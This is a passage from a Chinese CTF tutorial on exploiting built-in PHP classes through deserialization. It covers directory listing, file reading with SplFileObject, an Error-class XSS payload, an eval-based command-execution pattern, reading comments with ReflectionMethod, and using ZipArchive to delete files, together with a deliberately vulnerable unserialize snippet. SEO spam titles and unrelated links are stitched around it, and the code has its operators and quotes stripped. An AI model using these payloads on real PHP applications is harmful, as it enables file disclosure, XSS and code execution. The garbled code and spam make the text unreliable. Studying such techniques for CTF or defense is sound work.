当前位置: 首页 > news >正文

专业网站制作推荐西安信誉好的做网站的

专业网站制作推荐,西安信誉好的做网站的,长治网站制作一般需要多少钱,ps网站logo制作教程什么是php原生类 原生类就是php内置类#xff0c;不用定义php自带的类#xff0c;即不需要在当前脚本写出#xff0c;但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_clas…什么是php原生类 原生类就是php内置类不用定义php自带的类即不需要在当前脚本写出但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state))) {print $class . :: . $method . \n;}} } 几个ctf常用的php原生类  遍历文件目录的类 DirectoryIterator 类 类介绍 DirectoryIterator extends SplFileInfo implements SeekableIterator {     /* 方法 */     public __construct ( string $path )     public current ( ) : DirectoryIterator     public getATime ( ) : int     public getBasename ( string $suffix ? ) : string     public getCTime ( ) : int     public getExtension ( ) : string     public getFilename ( ) : string     public getGroup ( ) : int     public getInode ( ) : int     public getMTime ( ) : int     public getOwner ( ) : int     public getPath ( ) : string     public getPathname ( ) : string     public getPerms ( ) : int     public getSize ( ) : int     public getType ( ) : string     public isDir ( ) : bool     public isDot ( ) : bool     public isExecutable ( ) : bool     public isFile ( ) : bool     public isLink ( ) : bool     public isReadable ( ) : bool     public isWritable ( ) : bool     public key ( ) : string     public next ( ) : void     public rewind ( ) : void     public seek ( int $position ) : void     public __toString ( ) : string    // 以字符串形式获取文件名     public valid ( ) : bool } 可以看到这里有我门常见的__construct和__toString这里我们可以反序列化利用  这里会创建一个指定目录的迭代器。当执行到echo函数时会触发DirectoryIterator类中的 __toString() 方法输出指定目录里面经过排序之后的第一个文件名 测试代码 ?php $a new DirectoryIterator(/); echo $a; echo以字符串的形式输入会触发 __toString()以字符串的形式输入根目录的第一个文件名 也可以结合glob协议进行多目录遍历 ?php $a new DirectoryIterator(glob://f*); echo $a; 如果想显示所有的文件可以用foreach函数来遍历比如 ?php $a new DirectoryIterator(/); foreach($a as $f){echo($f.br); } FilesystemIterator 基本和DirectoryIterator一样 GlobIterato 名字可以看出这个类是自带glob协议的所以不用再使用glob协议了例如 ?php $a new GlobIterator(/); echo $a; 文件读取类  SplFileObject 当用文件目录遍历到了敏感文件时可以用SplFileObject类同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符所以必须先获取到完整文件名称才行)而且这个方法只能读一行 test1 ?php error_reporting(0); highlight_file(__FILE__);class a{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }unserialize($_GET[a]);? 这个反序列化没有任何可以直接利用的魔法函数只有一个wakeup可以进入 echo new $this-key($this-value); 构造exp很简单只需要让key值赋为我们想得的原生函数value赋为路径查就完了但是这个方法的局限性就是只能查一个路径上的第一个文件。 ?php class xxh{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }$a new xxh(); $a-keySplFileObject; $a-value./; echo serialize($a); ? PHP 原生ErrorException类(XSS实现与hash绕过) Error内置类 适用于php7 开启报错的情况下 Error类是php 的一个内置类用于自动自定义一个Error 在php7的情况下可能会造成一个xss漏洞因为他内置有一个 __toString()方法在ctf反序列化中如果flag在cookie中可以尝试利用Error去触发__toString() ?php$a unserialize($_GET[xxh]); echo $a; ?php $a new Error(scriptalert(1)/script); echo serialize($a); Excepthin 内置类  适用于 php57 开启报错的情况下: ?php$a unserialize($_GET[xxh]); echo $a; exp ?php$a new Error(scriptalert(1)/script); $b serialize($a); echo urlencode($b); 也可以成功弹窗 命令执行 如果有eval的话就可以rce ?php $a $_GET[a]; $b $_GET[b]; eval(echo new $a($b());); ? 这就不限于Error函数了、 其他类 ReflectionMethod类 他本身具有的方法 class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector { /*方法*/ReflectionMethod::__construct — ReflectionMethod 的构造函数ReflectionMethod::export — 输出一个回调方法ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口译者注可以使用这个返回值直接调用非公开方法。ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例ReflectionMethod::getModifiers — 获取方法的修饰符ReflectionMethod::getPrototype — 返回方法原型 (如果存在)ReflectionMethod::invoke — InvokeReflectionMethod::invokeArgs — 带参数执行ReflectionMethod::isAbstract — 判断方法是否是抽象方法ReflectionMethod::isConstructor — 判断方法是否是构造方法ReflectionMethod::isDestructor — 判断方法是否是析构方法ReflectionMethod::isFinal — 判断方法是否定义 finalReflectionMethod::isPrivate — 判断方法是否是私有方法ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)ReflectionMethod::isPublic — 判断方法是否是公开方法ReflectionMethod::isStatic — 判断方法是否是静态方法ReflectionMethod::setAccessible — 设置方法是否访问ReflectionMethod::__toString — 返回反射方法对象的字符串表达/*继承的方法*/final private ReflectionFunctionAbstract::__clone(): voidpublic ReflectionFunctionAbstract::getAttributes(?string $name null, int $flags 0): arraypublic ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClasspublic ReflectionFunctionAbstract::getClosureThis(): objectpublic ReflectionFunctionAbstract::getDocComment(): stringpublic ReflectionFunctionAbstract::getEndLine(): intpublic ReflectionFunctionAbstract::getExtension(): ReflectionExtensionpublic ReflectionFunctionAbstract::getExtensionName(): stringpublic ReflectionFunctionAbstract::getFileName(): stringpublic ReflectionFunctionAbstract::getName(): stringpublic ReflectionFunctionAbstract::getNamespaceName(): stringpublic ReflectionFunctionAbstract::getNumberOfParameters(): intpublic ReflectionFunctionAbstract::getNumberOfRequiredParameters(): intpublic ReflectionFunctionAbstract::getParameters(): arraypublic ReflectionFunctionAbstract::getReturnType(): ?ReflectionTypepublic ReflectionFunctionAbstract::getShortName(): stringpublic ReflectionFunctionAbstract::getStartLine(): intpublic ReflectionFunctionAbstract::getStaticVariables(): arraypublic ReflectionFunctionAbstract::hasReturnType(): boolpublic ReflectionFunctionAbstract::inNamespace(): boolpublic ReflectionFunctionAbstract::isClosure(): boolpublic ReflectionFunctionAbstract::isDeprecated(): boolpublic ReflectionFunctionAbstract::isGenerator(): boolpublic ReflectionFunctionAbstract::isInternal(): boolpublic ReflectionFunctionAbstract::isUserDefined(): boolpublic ReflectionFunctionAbstract::isVariadic(): boolpublic ReflectionFunctionAbstract::returnsReference(): boolabstract public ReflectionFunctionAbstract::__toString(): void 可以看到这里也有一个__toString函数也可以触发反序列化漏洞  ReflectionMethod 类中有很多继承方法可以使用比如这个 getDocComment() 方法我们可以用它来获取类中各个函数注释内容 ?php show_source(__FILE__); class a //flag{123}public function a(){} } $a $_GET[a]; $b $_GET[b]; $c $_GET[c]; $dnew $a($b,$c); echo($d-getDocComment()); ? ?aReflectionMethodbacb 利用原生类ReflectionMethod中的getDocComment()函数类读取注释 ZipArchive类 可以通过本类执行一些文件操作在CTF可以用来删除waf open(打开一个压缩包文件) $zip new \ZipArchive;$zip-open(test_new.zip, \ZipArchive::CREATE) 常用方法  ZipArchive::addEmptyDir添加一个新的文件目录 ZipArchive::addFile将文件添加到指定zip压缩包中 ZipArchive::addFromString添加新的文件同时将内容添加进去 ZipArchive::close关闭ziparchive ZipArchive::extractTo将压缩包解压 ZipArchive::open打开一个zip压缩包 ZipArchive::deleteIndex删除压缩包中的某一个文件如deleteIndex(0)代表删除第一个文件 ZipArchive::deleteName删除压缩包中的某一个文件名称同时也将文件删除
http://www.huolong8.cn/news/393109/

相关文章:

  • 金融投资网站模板做外贸网络推广网站
  • 企业网站价格多少钱营销型网站建设注意
  • 破解版网站建设家装设计师收费标准
  • 外贸建站需要花多少钱wordpress支付查看插件
  • 网站维护方式网站制作软件都是什么
  • 网站设计谈判做网站需要固定ip
  • 同一产品做多个网站东莞有互联网企业吗
  • php网站建设外国参考文献个人网站建设的参考文献
  • ftp怎么连接网站盗qq的钓鱼网站怎么做
  • 局域网端口映射做网站汕头怎么进行关键词优化
  • 做网站有自己的服务器昌乐哪里有做网站的
  • 个人 能建购物网站么教育培训机构推荐
  • 网站建设制作公司都选万维科技上海网上注册公司官网
  • 广州网站搭建多少钱网站怎么样建设
  • 通州区网站快速排名方案网站最新一次改版时间什么意思
  • 网站开发的研究思路网站建设 300元
  • 绍兴网站建设方案书网站制作自助
  • 新网登录网站后台年收入100万要交多少税
  • 营销推广网站推广方案淘客网站怎么与pid
  • dtu网站开发临沂网站建设临沂
  • 建设网站的市场定位建设网站培训的ppt
  • 网站工信部实名认证中心茂名企业自助建站系统
  • html网站发布免费推广网站搭建
  • 上不了建设银行网站秦皇岛网站制作费用
  • 建设银行企业银行网站打不开上海自适应网站制作
  • 石家网站建设公司排名什么推广方式能快速引流
  • 可信赖的网站建设公司让百度收录自己的网站
  • 网站建设费入什么科目2018app小程序开发费用
  • 网站抓取qq要网站开发费用短信
  • wordpress 菜单字体seo提高网站排名